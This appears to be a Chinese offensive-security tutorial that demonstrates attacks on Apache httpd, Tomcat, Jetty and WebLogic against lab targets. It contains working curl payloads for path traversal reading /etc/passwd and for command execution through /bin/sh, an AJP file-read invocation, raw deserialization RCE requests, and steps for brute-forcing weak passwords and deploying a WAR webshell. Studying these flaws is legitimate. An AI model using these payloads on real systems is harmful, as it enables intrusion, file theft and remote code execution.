服务攻防-中间件安全&Apache&Tomcat&Jetty&Weblogic&AJP协议&反序列化&CVE漏洞

知识点:

服务攻防-中间件-Apache&Tomcat&Jetty&Weblogic

演示案例-服务攻防-中间件-Apache&Tomcat&Jetty&Weblogic

一、Apache

Apache基金会开源的一款流行的HTTP服务器。

1、SSRF漏洞(CVE-2021-40438)

版本:<=2.4.48

参考:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-40438


2、路径穿越漏洞(CVE-2021-41773)

版本: 2.4.49

穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

bash 复制代码
curl -v --path-as-is http://123.58.224.8:19615/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

3、命令执行漏洞(CVE-2021-42013)

版本:2.4.49 2.4.50

bash 复制代码
curl -v --data "echo;id" 'http://123.58.224.8:19615//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'


二、Tomcat

一个开源的Java Servlet容器和Web服务器。

1、后台弱口令猜解

条件:口令登录控制台

bash 复制代码
Tomcat支持在控制台部署war文件,可以直接将WebShell部署到Web目录下
-先爆破弱口令(admin/admin、tomcat/tomcat)
-压缩后门zip改war
-上传war访问后门链接

Tomcat存在后台管理,账号密码设置在conf/tomcat-users.xml

弱口令爆破

网上有公开的tomcat爆破工具或者利用BURP直接爆破也行(参考链接:https://blog.csdn.net/weixin_50464560/article/details/119273112








后台getshell

进到后台就能上传war包拿shell了。

访问出现404不用管,直接访问该目录下的脚本文件即可。

如何制造war包?

1.创建一个JSP脚本文件。

2.利用压缩工具压缩成zip后缀。

3.把zip后缀改成war即可。

2、AJP文件包含漏洞(CVE-2020-1938)

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

bash 复制代码
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31

工具参考:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

bash 复制代码
d:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 52647 -f WEB-INF/web.xml

3、远程代码执行漏洞(CVE-2025-24813)

复现参考:
https://www.cnblogs.com/smileleooo/p/18772389

bash 复制代码
影响版本:
11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98
 
*满足以下条件,攻击者可以访问或修改安全敏感文件:
DefaultServlet 启用了写入权限(默认情况下禁用)。
服务器启用了 partial PUT(默认启用)。
该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用partial PUT上传文件)
攻击者已知目标敏感文件的路径以及文件名。
敏感文件是通过partial PUT上传的。
 
*满足以下条件,攻击者可以远程代码执行(RCE):
DefaultServlet启用了写入权限(默认情况下禁用)。
服务器启用了partial PUT(默认启用)。
Tomcat 使用了基于文件的Session持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

1、提交序列化数据

bash 复制代码
Yakit发包:
PUT /deserialize/session HTTP/1.1
Host: 192.168.1.7:8080
Content-Length: 1234
Content-Range: bytes 0-5/10
 
{{base64dec(javachains项目生成序列化base64数据)}}



2、访问触发序列化

bash 复制代码
GET / HTTP/1.1
Host: 192.168.1.7:8080
Cookie: JSESSIONID=.deserialize


三、Jetty

一个开源的servlet容器,它为基于JavaWeb容器提供运行环境。

1、信息泄露漏洞(CVE-2021-28169)

对于<= 9.4.40、<= 10.0.2、<= 11.0.2Eclipse Jetty版本,

对带有双重编码路径的ConcatServlet的请求可以访问WEB-INF目录中的受保护资源。

例如,对/static?/%2557EB-INF/web.xml的请求可以检索web.xml文件。

bash 复制代码
curl -v http://123.58.224.8:16187/static?/%2557EB-INF/web.xml

2、信息泄露漏洞(CVE-2021-34429)

对于9.4.37-9.4.42、10.0.1-10.0.5和11.0.1-11.0.5Eclipse Jetty版本,

可以使用一些编码字符来制作URI以访问WEB-INF目录的内容和/或绕过一些安全限制。

访问/%u002e/WEB-INF/web.xml可以绕过安全限制,读取到web.xml内容.

bash 复制代码
Burpsuite: GET /%u002e/WEB-INF/web.xml

四、Weblogic

一个基于Java的企业级应用服务器。

特征:端口7001和页面

1、弱口令、部署WebShell

参考默认密码:https://cirt.net/passwords

bash 复制代码
部署概要->安装->制作war并上传->修改路由->访问
制作war:jar cvf 1.war 1.jsp














2、未授权远程RCE漏洞

WeblogicTool项目:
https://github.com/KimJun1010/WeblogicTool

bash 复制代码
CVE-2023-21931(JNDI)
CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882 未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
CVE-2018-3245(JRMP)
CVE_2018_3252(JRMP)
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248(JRMP)
CVE-2015-4852





相关推荐
空中海2 小时前
第四篇:进阶篇 — 缓存、消息队列、安全与常用中间件
安全·缓存·中间件
YaBingSec4 小时前
玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)
java·运维·网络·安全·web安全·tomcat·ssh
回忆2012初秋5 小时前
时序库.net平台下的推荐 SonnetDB,一文分析清除他与Apache IoTDB的区同
apache·iotdb
逍遥德1 天前
MQTT教程详解-03. 高级知识点
java·物联网·中间件·信息与通信·iot·iotdb
前端小超人rui1 天前
【Node.js Express中间件理解及中间件分类和作用】
中间件·node.js·express
前端小超人rui1 天前
封装Express 自定义中间件
中间件·node.js·express
weixin_419658311 天前
RabbitMQ 应用问题
java·分布式·中间件·rabbitmq
z小天才b1 天前
Django ORM、中间件与信号 — 完全指南
python·中间件·django
我登哥MVP1 天前
【SpringMVC笔记】 - 12 - 全注解开发
java·spring boot·笔记·spring·tomcat·intellij-idea